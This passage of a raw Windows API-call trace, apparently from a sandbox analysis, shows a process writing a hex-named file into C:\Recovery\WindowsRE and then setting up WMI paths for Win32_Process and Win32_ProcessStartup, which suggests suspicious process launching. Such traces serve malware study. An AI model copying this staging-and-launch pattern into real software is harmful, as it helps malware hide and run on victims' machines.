bFailIfExists=0) returned 1 [0124.228] GetFullPathNameW (in: lpFileName="C:\\Recovery\\WindowsRE\\dab4d89cac03ec", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\WindowsRE\\dab4d89cac03ec", lpFilePart=0x0) returned 0x24 [0124.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0124.228] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\dab4d89cac03ec" (normalized: "c:\\recovery\\windowsre\\dab4d89cac03ec"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x484 [0124.231] GetFileType (hFile=0x484) returned 0x1 [0124.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0124.231] GetFileType (hFile=0x484) returned 0x1 [0124.231] WriteFile (in: hFile=0x484, lpBuffer=0x2743ea8*, nNumberOfBytesToWrite=0x183, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x2743ea8*, lpNumberOfBytesWritten=0x1b30d908*=0x183, lpOverlapped=0x0) returned 1 [0124.232] CloseHandle (hObject=0x484) returned 1 [0124.233] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0124.234] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0124.234] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0124.234] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.234] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d1c40) returned 0x0 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1c40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0124.235] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1c40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656ff0) returned 0x0 [0124.235] WbemDefPath:IUnknown:Release (This=0x1b4d1c40) returned 0x0 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656ff0) returned 0x0 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0124.235] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d1c60) returned 0x0 [0124.235] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1c60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.235] WbemDefPath:IUnknown:Release (This=0x1b4d1c60) returned 0x3 [0124.235] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0124.235] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0124.235] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0124.236] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0124.236] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 [0124.236] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0124.236] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0124.236] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656ff0) returned 0x0 [0124.236] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0124.236] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0124.236] WbemDefPath:IWbemPath:SetText (This=0x656ff0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0124.236] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.236] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0124.236] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0124.236] WbemDefPath:IWbemPath:GetInfo (in: This=0x656ff0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.236] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.236] WbemDefPath:IWbemPath:GetInfo (in: This=0x656ff0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.236] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0124.236] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0124.236] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0124.236] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.237] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d1c20) returned 0x0 [0124.237] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1c20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0124.237] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1c20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656870) returned 0x0 [0124.237] WbemDefPath:IUnknown:Release (This=0x1b4d1c20) returned 0x0 [0124.237] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656870) returned 0x0 [0124.237] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0124.237] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0124.237] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0124.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0124.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0124.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d1b80) returned 0x0 [0124.238] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.238] WbemDefPath:IUnknown:Release (This=0x1b4d1b80) returned 0x3 [0124.238] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0124.238] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0124.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0124.238] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0124.238] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0124.238] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0124.238] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0124.238] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656870) returned 0x0 [0124.238] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0124.238] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0124.238] WbemDefPath:IWbemPath:SetText (This=0x656870, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0124.238] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.238] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0124.238] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0124.238] WbemDefPath:IWbemPath:GetInfo (in: This=0x656870, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.238] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.238] WbemDefPath:IWbemPath:GetInfo (in: This=0x656870, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.238] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0124.239] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0124.239] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0124.239] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.239] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0124.239] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0124.239] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0124.239] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.239] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d1b40) returned 0x0 [0124.239] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1b40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0124.239] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1b40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x6564b0) returned 0x0 [0124.240] WbemDefPath:IUnknown:Release (This=0x1b4d1b40) returned 0x0 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x6564b0) returned 0x0 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0124.240] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d1c40) returned 0x0 [0124.240] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.240] WbemDefPath:IUnknown:Release (This=0x1b4d1c40) returned 0x3 [0124.240] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0124.240] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0124.240] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0124.240] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0124.240] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0124.240] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0124.240] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x6564b0) returned 0x0 [0124.240] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0124.240] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0124.241] WbemDefPath:IWbemPath:SetText (This=0x6564b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0124.241] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0124.241] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0124.241] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.241] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0124.241] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0124.241] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0124.241] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.241] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d1b40) returned 0x0 [0124.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1b40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0124.241] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d1b40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d1e00) returned 0x0 [0124.241] WbemLocator:IUnknown:Release (This=0x1b4d1b40) returned 0x0 [0124.241] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, 